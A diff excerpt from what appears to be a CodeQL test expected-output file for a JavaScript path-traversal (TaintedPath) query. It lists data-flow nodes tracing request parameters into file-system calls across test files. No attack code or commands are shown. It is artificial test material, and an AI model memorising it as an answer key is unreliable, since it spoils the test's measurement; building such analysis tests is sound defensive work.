-| TaintedPath.js:142:20:142:24 | split | semmle.label | split |
-| TaintedPath.js:142:20:142:39 | split.concat(prefix) | semmle.label | split.concat(prefix) |
-| TaintedPath.js:143:19:143:28 | concatted2 | semmle.label | concatted2 |
-| TaintedPath.js:143:19:143:38 | concatted2.join("/") | semmle.label | concatted2.join("/") |
-| TaintedPath.js:145:19:145:23 | split | semmle.label | split |
-| TaintedPath.js:145:19:145:29 | split.pop() | semmle.label | split.pop() |
-| TaintedPath.js:150:7:150:48 | path | semmle.label | path |
-| TaintedPath.js:150:14:150:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:150:14:150:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:150:14:150:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:150:24:150:30 | req.url | semmle.label | req.url |
-| TaintedPath.js:154:29:154:32 | path | semmle.label | path |
-| TaintedPath.js:154:29:154:55 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
-| TaintedPath.js:160:29:160:32 | path | semmle.label | path |
-| TaintedPath.js:160:29:160:52 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
-| TaintedPath.js:161:29:161:32 | path | semmle.label | path |
-| TaintedPath.js:161:29:161:53 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
-| TaintedPath.js:162:29:162:32 | path | semmle.label | path |
-| TaintedPath.js:162:29:162:51 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
-| TaintedPath.js:163:29:163:32 | path | semmle.label | path |
-| TaintedPath.js:163:29:163:57 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
-| TaintedPath.js:178:29:178:73 | "prefix ... +/, '') | semmle.label | "prefix ... +/, '') |
-| TaintedPath.js:178:40:178:43 | path | semmle.label | path |
-| TaintedPath.js:178:40:178:73 | path.re ... +/, '') | semmle.label | path.re ... +/, '') |
-| TaintedPath.js:179:29:179:54 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| TaintedPath.js:179:29:179:84 | pathMod ... +/, '') | semmle.label | pathMod ... +/, '') |
-| TaintedPath.js:179:50:179:53 | path | semmle.label | path |
-| TaintedPath.js:187:29:187:45 | qs.parse(req.url) | semmle.label | qs.parse(req.url) |
-| TaintedPath.js:187:29:187:49 | qs.pars ... rl).foo | semmle.label | qs.pars ... rl).foo |
-| TaintedPath.js:187:38:187:44 | req.url | semmle.label | req.url |
-| TaintedPath.js:188:29:188:59 | qs.pars ... q.url)) | semmle.label | qs.pars ... q.url)) |
-| TaintedPath.js:188:29:188:63 | qs.pars ... l)).foo | semmle.label | qs.pars ... l)).foo |
-| TaintedPath.js:188:38:188:58 | normali ... eq.url) | semmle.label | normali ... eq.url) |
-| TaintedPath.js:188:51:188:57 | req.url | semmle.label | req.url |
-| TaintedPath.js:190:29:190:51 | parseqs ... eq.url) | semmle.label | parseqs ... eq.url) |
-| TaintedPath.js:190:29:190:55 | parseqs ... rl).foo | semmle.label | parseqs ... rl).foo |
-| TaintedPath.js:190:44:190:50 | req.url | semmle.label | req.url |
-| TaintedPath.js:195:7:195:48 | path | semmle.label | path |
-| TaintedPath.js:195:14:195:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:195:14:195:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:195:14:195:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:195:24:195:30 | req.url | semmle.label | req.url |
-| TaintedPath.js:196:31:196:34 | path | semmle.label | path |
-| TaintedPath.js:197:45:197:48 | path | semmle.label | path |
-| TaintedPath.js:198:35:198:38 | path | semmle.label | path |
-| TaintedPath.js:202:7:202:48 | path | semmle.label | path |
-| TaintedPath.js:202:14:202:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:202:14:202:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:202:14:202:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:202:24:202:30 | req.url | semmle.label | req.url |
-| TaintedPath.js:206:29:206:32 | path | semmle.label | path |
-| TaintedPath.js:206:29:206:85 | path.re ... '), '') | semmle.label | path.re ... '), '') |
-| TaintedPath.js:211:7:211:48 | path | semmle.label | path |
-| TaintedPath.js:211:14:211:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:211:14:211:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:211:14:211:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:211:24:211:30 | req.url | semmle.label | req.url |
-| TaintedPath.js:213:29:213:32 | path | semmle.label | path |
-| TaintedPath.js:213:29:213:68 | path.re ... '), '') | semmle.label | path.re ... '), '') |
-| TaintedPath.js:216:31:216:34 | path | semmle.label | path |
-| TaintedPath.js:216:31:216:69 | path.re ... '), '') | semmle.label | path.re ... '), '') |
-| examples/TaintedPath.js:8:7:8:52 | filePath | semmle.label | filePath |
-| examples/TaintedPath.js:8:18:8:41 | url.par ... , true) | semmle.label | url.par ... , true) |
-| examples/TaintedPath.js:8:18:8:47 | url.par ... ).query | semmle.label | url.par ... ).query |
-| examples/TaintedPath.js:8:18:8:52 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| examples/TaintedPath.js:8:28:8:34 | req.url | semmle.label | req.url |
-| examples/TaintedPath.js:11:29:11:43 | ROOT + filePath | semmle.label | ROOT + filePath |
-| examples/TaintedPath.js:11:36:11:43 | filePath | semmle.label | filePath |
-| express.js:8:20:8:32 | req.query.bar | semmle.label | req.query.bar |
-| handlebars.js:10:51:10:58 | filePath | semmle.label | filePath |
-| handlebars.js:11:32:11:39 | filePath | semmle.label | filePath |
-| handlebars.js:13:73:13:80 | filePath | semmle.label | filePath |
-| handlebars.js:15:25:15:32 | filePath | semmle.label | filePath |
-| handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path |
-| handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path |
-| normalizedPaths.js:11:7:11:27 | path | semmle.label | path |
-| normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:13:19:13:22 | path | semmle.label | path |
-| normalizedPaths.js:14:19:14:29 | './' + path | semmle.label | './' + path |
-| normalizedPaths.js:14:26:14:29 | path | semmle.label | path |
-| normalizedPaths.js:15:19:15:22 | path | semmle.label | path |
-| normalizedPaths.js:15:19:15:38 | path + '/index.html' | semmle.label | path + '/index.html' |
-| normalizedPaths.js:16:19:16:53 | pathMod ... .html') | semmle.label | pathMod ... .html') |
-| normalizedPaths.js:16:35:16:38 | path | semmle.label | path |
-| normalizedPaths.js:17:19:17:57 | pathMod ... , path) | semmle.label | pathMod ... , path) |
-| normalizedPaths.js:17:53:17:56 | path | semmle.label | path |
-| normalizedPaths.js:21:7:21:49 | path | semmle.label | path |
-| normalizedPaths.js:21:14:21:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:21:35:21:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:23:19:23:22 | path | semmle.label | path |
-| normalizedPaths.js:24:19:24:29 | './' + path | semmle.label | './' + path |
-| normalizedPaths.js:24:26:24:29 | path | semmle.label | path |
-| normalizedPaths.js:25:19:25:22 | path | semmle.label | path |
-| normalizedPaths.js:25:19:25:38 | path + '/index.html' | semmle.label | path + '/index.html' |
-| normalizedPaths.js:26:19:26:53 | pathMod ... .html') | semmle.label | pathMod ... .html') |
-| normalizedPaths.js:26:35:26:38 | path | semmle.label | path |
-| normalizedPaths.js:27:19:27:57 | pathMod ... , path) | semmle.label | pathMod ... , path) |
-| normalizedPaths.js:27:53:27:56 | path | semmle.label | path |
-| normalizedPaths.js:31:7:31:49 | path | semmle.label | path |
-| normalizedPaths.js:31:14:31:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:31:35:31:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:36:19:36:22 | path | semmle.label | path |
-| normalizedPaths.js:41:21:41:24 | path | semmle.label | path |
-| normalizedPaths.js:54:7:54:49 | path | semmle.label | path |
-| normalizedPaths.js:54:14:54:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:54:35:54:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:59:19:59:22 | path | semmle.label | path |
-| normalizedPaths.js:63:19:63:22 | path | semmle.label | path |
-| normalizedPaths.js:63:19:63:38 | path + "/index.html" | semmle.label | path + "/index.html" |
-| normalizedPaths.js:68:21:68:24 | path | semmle.label | path |
-| normalizedPaths.js:73:7:73:56 | path | semmle.label | path |
-| normalizedPaths.js:73:14:73:56 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:73:35:73:55 | './' +  ... ry.path | semmle.label | './' +  ... ry.path |
-| normalizedPaths.js:73:42:73:55 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:78:22:78:25 | path | semmle.label | path |
-| normalizedPaths.js:82:7:82:27 | path | semmle.label | path |
-| normalizedPaths.js:82:14:82:27 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:87:29:87:32 | path | semmle.label | path |
-| normalizedPaths.js:90:31:90:34 | path | semmle.label | path |
-| normalizedPaths.js:94:7:94:49 | path | semmle.label | path |
-| normalizedPaths.js:94:14:94:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:94:35:94:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:99:29:99:32 | path | semmle.label | path |
-| normalizedPaths.js:117:7:117:44 | path | semmle.label | path |
-| normalizedPaths.js:117:14:117:44 | fs.real ... y.path) | semmle.label | fs.real ... y.path) |
-| normalizedPaths.js:117:30:117:43 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:119:19:119:22 | path | semmle.label | path |
-| normalizedPaths.js:120:19:120:53 | pathMod ... .html') | semmle.label | pathMod ... .html') |
-| normalizedPaths.js:120:35:120:38 | path | semmle.label | path |
-| normalizedPaths.js:130:7:130:49 | path | semmle.label | path |
-| normalizedPaths.js:130:14:130:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:130:35:130:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:135:21:135:24 | path | semmle.label | path |
-| normalizedPaths.js:139:7:139:62 | path | semmle.label | path |
-| normalizedPaths.js:139:14:139:62 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:139:48:139:61 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:144:21:144:24 | path | semmle.label | path |
-| normalizedPaths.js:148:7:148:58 | path | semmle.label | path |
-| normalizedPaths.js:148:14:148:58 | 'foo/'  ... y.path) | semmle.label | 'foo/'  ... y.path) |
-| normalizedPaths.js:148:23:148:58 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:148:44:148:57 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:151:21:151:24 | path | semmle.label | path |
-| normalizedPaths.js:153:21:153:24 | path | semmle.label | path |
-| normalizedPaths.js:160:7:160:49 | path | semmle.label | path |
-| normalizedPaths.js:160:14:160:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:160:35:160:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:165:19:165:22 | path | semmle.label | path |
-| normalizedPaths.js:170:21:170:24 | path | semmle.label | path |
-| normalizedPaths.js:174:7:174:27 | path | semmle.label | path |
-| normalizedPaths.js:174:14:174:27 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:184:19:184:22 | path | semmle.label | path |
-| normalizedPaths.js:187:21:187:24 | path | semmle.label | path |
-| normalizedPaths.js:189:21:189:24 | path | semmle.label | path |
-| normalizedPaths.js:192:21:192:24 | path | semmle.label | path |
-| normalizedPaths.js:194:21:194:24 | path | semmle.label | path |
-| normalizedPaths.js:199:21:199:24 | path | semmle.label | path |
-| normalizedPaths.js:201:7:201:49 | normalizedPath | semmle.label | normalizedPath |
-| normalizedPaths.js:201:24:201:49 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| normalizedPaths.js:201:45:201:48 | path | semmle.label | path |
-| normalizedPaths.js:205:21:205:34 | normalizedPath | semmle.label | normalizedPath |
-| normalizedPaths.js:208:21:208:34 | normalizedPath | semmle.label | normalizedPath |
-| normalizedPaths.js:210:21:210:34 | normalizedPath | semmle.label | normalizedPath |
-| normalizedPaths.js:214:7:214:49 | path | semmle.label | path |
-| normalizedPaths.js:214:14:214:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:214:35:214:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:219:3:219:33 | path | semmle.label | path |
-| normalizedPaths.js:219:10:219:33 | decodeU ... t(path) | semmle.label | decodeU ... t(path) |
-| normalizedPaths.js:219:29:219:32 | path | semmle.label | path |
-| normalizedPaths.js:222:21:222:24 | path | semmle.label | path |
-| normalizedPaths.js:226:7:226:70 | path | semmle.label | path |
-| normalizedPaths.js:226:14:226:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:226:14:226:70 | pathMod ... g, ' ') | semmle.label | pathMod ... g, ' ') |
-| normalizedPaths.js:226:35:226:48 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:228:21:228:24 | path | semmle.label | path |
-| normalizedPaths.js:236:7:236:47 | path | semmle.label | path |
-| normalizedPaths.js:236:14:236:47 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:236:33:236:46 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:238:19:238:22 | path | semmle.label | path |
-| normalizedPaths.js:245:21:245:24 | path | semmle.label | path |
-| normalizedPaths.js:250:21:250:24 | path | semmle.label | path |
-| normalizedPaths.js:254:7:254:47 | path | semmle.label | path |
-| normalizedPaths.js:254:14:254:47 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:254:33:254:46 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:256:19:256:22 | path | semmle.label | path |
-| normalizedPaths.js:262:21:262:24 | path | semmle.label | path |
-| normalizedPaths.js:267:7:267:42 | newpath | semmle.label | newpath |
-| normalizedPaths.js:267:17:267:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| normalizedPaths.js:267:38:267:41 | path | semmle.label | path |
-| normalizedPaths.js:270:21:270:27 | newpath | semmle.label | newpath |
-| normalizedPaths.js:275:7:275:42 | newpath | semmle.label | newpath |
-| normalizedPaths.js:275:17:275:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| normalizedPaths.js:275:38:275:41 | path | semmle.label | path |
-| normalizedPaths.js:278:21:278:27 | newpath | semmle.label | newpath |
-| normalizedPaths.js:283:7:283:42 | newpath | semmle.label | newpath |
-| normalizedPaths.js:283:17:283:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| normalizedPaths.js:283:38:283:41 | path | semmle.label | path |
-| normalizedPaths.js:286:21:286:27 | newpath | semmle.label | newpath |
-| normalizedPaths.js:291:7:291:42 | newpath | semmle.label | newpath |
-| normalizedPaths.js:291:17:291:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| normalizedPaths.js:291:38:291:41 | path | semmle.label | path |
-| normalizedPaths.js:296:21:296:27 | newpath | semmle.label | newpath |
-| normalizedPaths.js:303:6:303:26 | path | semmle.label | path |
-| normalizedPaths.js:303:13:303:26 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:304:18:304:21 | path | semmle.label | path |
-| normalizedPaths.js:309:19:309:22 | path | semmle.label | path |
-| normalizedPaths.js:313:19:313:22 | path | semmle.label | path |
-| normalizedPaths.js:316:19:316:22 | path | semmle.label | path |
-| normalizedPaths.js:320:6:320:49 | normalizedPath | semmle.label | normalizedPath |
-| normalizedPaths.js:320:23:320:49 | pathMod ... , path) | semmle.label | pathMod ... , path) |
-| normalizedPaths.js:320:45:320:48 | path | semmle.label | path |
-| normalizedPaths.js:325:19:325:32 | normalizedPath | semmle.label | normalizedPath |
-| normalizedPaths.js:332:19:332:32 | normalizedPath | semmle.label | normalizedPath |
-| normalizedPaths.js:339:6:339:46 | path | semmle.label | path |
-| normalizedPaths.js:339:13:339:46 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
-| normalizedPaths.js:339:32:339:45 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:341:18:341:21 | path | semmle.label | path |
-| normalizedPaths.js:346:19:346:22 | path | semmle.label | path |
-| normalizedPaths.js:354:7:354:27 | path | semmle.label | path |
-| normalizedPaths.js:354:14:354:27 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:356:19:356:22 | path | semmle.label | path |
-| normalizedPaths.js:358:7:358:51 | requestPath | semmle.label | requestPath |
-| normalizedPaths.js:358:21:358:51 | pathMod ... , path) | semmle.label | pathMod ... , path) |
-| normalizedPaths.js:358:47:358:50 | path | semmle.label | path |
-| normalizedPaths.js:363:21:363:31 | requestPath | semmle.label | requestPath |
-| normalizedPaths.js:377:7:377:27 | path | semmle.label | path |
-| normalizedPaths.js:377:14:377:27 | req.query.path | semmle.label | req.query.path |
-| normalizedPaths.js:379:19:379:22 | path | semmle.label | path |
-| normalizedPaths.js:381:19:381:29 | slash(path) | semmle.label | slash(path) |
-| normalizedPaths.js:381:25:381:28 | path | semmle.label | path |
-| normalizedPaths.js:385:7:385:46 | path | semmle.label | path |
-| normalizedPaths.js:385:14:385:46 | pathMod ... uery.x) | semmle.label | pathMod ... uery.x) |
-| normalizedPaths.js:385:35:385:45 | req.query.x | semmle.label | req.query.x |
-| normalizedPaths.js:388:19:388:22 | path | semmle.label | path |
-| normalizedPaths.js:399:21:399:24 | path | semmle.label | path |
-| normalizedPaths.js:407:19:407:67 | pathMod ... t('/')) | semmle.label | pathMod ... t('/')) |
-| normalizedPaths.js:407:45:407:55 | req.query.x | semmle.label | req.query.x |
-| normalizedPaths.js:407:45:407:66 | req.que ... it('/') | semmle.label | req.que ... it('/') |
-| normalizedPaths.js:408:19:408:60 | pathMod ... t('/')) | semmle.label | pathMod ... t('/')) |
-| normalizedPaths.js:408:38:408:48 | req.query.x | semmle.label | req.query.x |
-| normalizedPaths.js:408:38:408:59 | req.que ... it('/') | semmle.label | req.que ... it('/') |
-| normalizedPaths.js:412:7:412:46 | path | semmle.label | path |
-| normalizedPaths.js:412:14:412:46 | pathMod ... uery.x) | semmle.label | pathMod ... uery.x) |
-| normalizedPaths.js:412:35:412:45 | req.query.x | semmle.label | req.query.x |
-| normalizedPaths.js:415:19:415:22 | path | semmle.label | path |
-| normalizedPaths.js:426:21:426:24 | path | semmle.label | path |
-| other-fs-libraries.js:9:7:9:48 | path | semmle.label | path |
-| other-fs-libraries.js:9:14:9:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| other-fs-libraries.js:9:14:9:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| other-fs-libraries.js:9:14:9:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| other-fs-libraries.js:9:24:9:30 | req.url | semmle.label | req.url |
-| other-fs-libraries.js:11:19:11:22 | path | semmle.label | path |
-| other-fs-libraries.js:12:27:12:30 | path | semmle.label | path |
-| other-fs-libraries.js:13:24:13:27 | path | semmle.label | path |
-| other-fs-libraries.js:14:27:14:30 | path | semmle.label | path |
-| other-fs-libraries.js:16:34:16:37 | path | semmle.label | path |
-| other-fs-libraries.js:17:35:17:38 | path | semmle.label | path |
-| other-fs-libraries.js:19:56:19:59 | path | semmle.label | path |
-| other-fs-libraries.js:24:35:24:38 | path | semmle.label | path |
-| other-fs-libraries.js:38:7:38:48 | path | semmle.label | path |
-| other-fs-libraries.js:38:14:38:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| other-fs-libraries.js:38:14:38:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| other-fs-libraries.js:38:14:38:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| other-fs-libraries.js:38:24:38:30 | req.url | semmle.label | req.url |
-| other-fs-libraries.js:40:35:40:38 | path | semmle.label | path |
-| other-fs-libraries.js:41:50:41:53 | path | semmle.label | path |
-| other-fs-libraries.js:42:53:42:56 | path | semmle.label | path |
-| other-fs-libraries.js:49:7:49:48 | path | semmle.label | path |
-| other-fs-libraries.js:49:14:49:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| other-fs-libraries.js:49:14:49:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| other-fs-libraries.js:49:14:49:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| other-fs-libraries.js:49:24:49:30 | req.url | semmle.label | req.url |
-| other-fs-libraries.js:51:19:51:22 | path | semmle.label | path |
-| other-fs-libraries.js:52:24:52:27 | path | semmle.label | path |
-| other-fs-libraries.js:54:36:54:39 | path | semmle.label | path |
-| other-fs-libraries.js:55:36:55:39 | path | semmle.label | path |
-| other-fs-libraries.js:57:46:57:49 | path | semmle.label | path |
-| other-fs-libraries.js:59:39:59:42 | path | semmle.label | path |
-| other-fs-libraries.js:62:43:62:46 | path | semmle.label | path |
-| other-fs-libraries.js:63:51:63:54 | path | semmle.label | path |
-| other-fs-libraries.js:68:7:68:48 | path | semmle.label | path |
-| other-fs-libraries.js:68:14:68:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| other-fs-libraries.js:68:14:68:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| other-fs-libraries.js:68:14:68:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| other-fs-libraries.js:68:24:68:30 | req.url | semmle.label | req.url |
-| other-fs-libraries.js:70:19:70:22 | path | semmle.label | path |
-| other-fs-libraries.js:71:10:71:13 | path | semmle.label | path |
-| other-fs-libraries.js:72:15:72:18 | path | semmle.label | path |
-| other-fs-libraries.js:73:8:73:11 | path | semmle.label | path |
-| other-fs-libraries.js:75:15:75:15 | x | semmle.label | x |
-| other-fs-libraries.js:76:19:76:19 | x | semmle.label | x |
-| other-fs-libraries.js:81:7:81:48 | path | semmle.label | path |
-| other-fs-libraries.js:81:14:81:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| other-fs-libraries.js:81:14:81:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| other-fs-libraries.js:81:14:81:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| other-fs-libraries.js:81:24:81:30 | req.url | semmle.label | req.url |
-| other-fs-libraries.js:83:16:83:19 | path | semmle.label | path |
-| prettier.js:6:11:6:28 | p | semmle.label | p |
-| prettier.js:6:13:6:13 | p | semmle.label | p |
-| prettier.js:7:28:7:28 | p | semmle.label | p |
-| prettier.js:11:44:11:44 | p | semmle.label | p |
-| pupeteer.js:5:9:5:71 | tainted | semmle.label | tainted |
-| pupeteer.js:5:19:5:71 | "dir/"  ... t.data" | semmle.label | "dir/"  ... t.data" |
-| pupeteer.js:5:28:5:53 | parseTo ... t).name | semmle.label | parseTo ... t).name |
-| pupeteer.js:9:28:9:34 | tainted | semmle.label | tainted |
-| pupeteer.js:13:37:13:43 | tainted | semmle.label | tainted |
-| sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | semmle.label | req.par ... spaceId |
-| sharedlib-repro.js:21:27:21:34 | filepath | semmle.label | filepath |
-| sharedlib-repro.js:22:18:22:25 | filepath | semmle.label | filepath |
-| tainted-access-paths.js:6:7:6:48 | path | semmle.label | path |
-| tainted-access-paths.js:6:14:6:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| tainted-access-paths.js:6:14:6:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| tainted-access-paths.js:6:14:6:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| tainted-access-paths.js:6:24:6:30 | req.url | semmle.label | req.url |
-| tainted-access-paths.js:8:19:8:22 | path | semmle.label | path |
-| tainted-access-paths.js:10:7:10:36 | obj | semmle.label | obj |
-| tainted-access-paths.js:10:33:10:36 | path | semmle.label | path |
-| tainted-access-paths.js:12:19:12:21 | obj | semmle.label | obj |
-| tainted-access-paths.js:12:19:12:25 | obj.sub | semmle.label | obj.sub |
-| tainted-access-paths.js:26:19:26:21 | obj | semmle.label | obj |
-| tainted-access-paths.js:26:19:26:26 | obj.sub3 | semmle.label | obj.sub3 |
-| tainted-access-paths.js:29:21:29:23 | obj | semmle.label | obj |
-| tainted-access-paths.js:29:21:29:28 | obj.sub4 | semmle.label | obj.sub4 |
-| tainted-access-paths.js:30:23:30:25 | obj | semmle.label | obj |
-| tainted-access-paths.js:30:23:30:30 | obj.sub4 | semmle.label | obj.sub4 |
-| tainted-access-paths.js:31:23:31:25 | obj | semmle.label | obj |
-| tainted-access-paths.js:31:23:31:30 | obj.sub4 | semmle.label | obj.sub4 |
-| tainted-access-paths.js:39:7:39:48 | path | semmle.label | path |
-| tainted-access-paths.js:39:14:39:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| tainted-access-paths.js:39:14:39:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| tainted-access-paths.js:39:14:39:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| tainted-access-paths.js:39:24:39:30 | req.url | semmle.label | req.url |
-| tainted-access-paths.js:40:23:40:26 | path | semmle.label | path |
-| tainted-access-paths.js:48:7:48:48 | path | semmle.label | path |
-| tainted-access-paths.js:48:14:48:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| tainted-access-paths.js:48:14:48:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| tainted-access-paths.js:48:14:48:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| tainted-access-paths.js:48:24:48:30 | req.url | semmle.label | req.url |
-| tainted-access-paths.js:49:10:49:13 | path | semmle.label | path |
-| tainted-promise-steps.js:6:7:6:48 | path | semmle.label | path |
-| tainted-promise-steps.js:6:14:6:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| tainted-promise-steps.js:6:14:6:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| tainted-promise-steps.js:6:14:6:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| tainted-promise-steps.js:6:24:6:30 | req.url | semmle.label | req.url |
-| tainted-promise-steps.js:7:10:7:30 | Promise ... e(path) [PromiseValue] | semmle.label | Promise ... e(path) [PromiseValue] |
-| tainted-promise-steps.js:7:26:7:29 | path | semmle.label | path |
-| tainted-promise-steps.js:10:23:10:33 | pathPromise [PromiseValue] | semmle.label | pathPromise [PromiseValue] |
-| tainted-promise-steps.js:11:19:11:35 | await pathPromise | semmle.label | await pathPromise |
-| tainted-promise-steps.js:11:25:11:35 | pathPromise [PromiseValue] | semmle.label | pathPromise [PromiseValue] |
-| tainted-promise-steps.js:12:3:12:13 | pathPromise [PromiseValue] | semmle.label | pathPromise [PromiseValue] |
-| tainted-promise-steps.js:12:20:12:23 | path | semmle.label | path |
-| tainted-promise-steps.js:12:44:12:47 | path | semmle.label | path |
-| tainted-require.js:7:19:7:37 | req.param("module") | semmle.label | req.param("module") |
-| tainted-require.js:12:29:12:47 | req.param("module") | semmle.label | req.param("module") |
-| tainted-require.js:14:11:14:29 | req.param("module") | semmle.label | req.param("module") |
-| tainted-sendFile.js:8:16:8:33 | req.param("gimme") | semmle.label | req.param("gimme") |
-| tainted-sendFile.js:10:16:10:33 | req.param("gimme") | semmle.label | req.param("gimme") |
-| tainted-sendFile.js:18:43:18:58 | req.param("dir") | semmle.label | req.param("dir") |
-| tainted-sendFile.js:24:16:24:49 | path.re ... rams.x) | semmle.label | path.re ... rams.x) |
-| tainted-sendFile.js:24:37:24:48 | req.params.x | semmle.label | req.params.x |
-| tainted-sendFile.js:25:16:25:46 | path.jo ... rams.x) | semmle.label | path.jo ... rams.x) |
-| tainted-sendFile.js:25:34:25:45 | req.params.x | semmle.label | req.params.x |
-| tainted-sendFile.js:30:16:30:33 | req.param("gimme") | semmle.label | req.param("gimme") |
-| tainted-sendFile.js:33:16:33:48 | homeDir ... arams.x | semmle.label | homeDir ... arams.x |
-| tainted-sendFile.js:33:37:33:48 | req.params.x | semmle.label | req.params.x |
-| tainted-sendFile.js:35:16:35:46 | path.jo ... rams.x) | semmle.label | path.jo ... rams.x) |
-| tainted-sendFile.js:35:34:35:45 | req.params.x | semmle.label | req.params.x |
-| tainted-sendFile.js:38:43:38:58 | req.param("dir") | semmle.label | req.param("dir") |
-| tainted-string-steps.js:6:7:6:48 | path | semmle.label | path |
-| tainted-string-steps.js:6:14:6:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| tainted-string-steps.js:6:14:6:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| tainted-string-steps.js:6:14:6:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| tainted-string-steps.js:6:24:6:30 | req.url | semmle.label | req.url |
-| tainted-string-steps.js:8:18:8:21 | path | semmle.label | path |
-| tainted-string-steps.js:8:18:8:34 | path.substring(4) | semmle.label | path.substring(4) |
-| tainted-string-steps.js:9:18:9:21 | path | semmle.label | path |
-| tainted-string-steps.js:9:18:9:37 | path.substring(0, i) | semmle.label | path.substring(0, i) |
-| tainted-string-steps.js:10:18:10:21 | path | semmle.label | path |
-| tainted-string-steps.js:10:18:10:31 | path.substr(4) | semmle.label | path.substr(4) |
-| tainted-string-steps.js:11:18:11:21 | path | semmle.label | path |
-| tainted-string-steps.js:11:18:11:30 | path.slice(4) | semmle.label | path.slice(4) |
-| tainted-string-steps.js:13:18:13:21 | path | semmle.label | path |
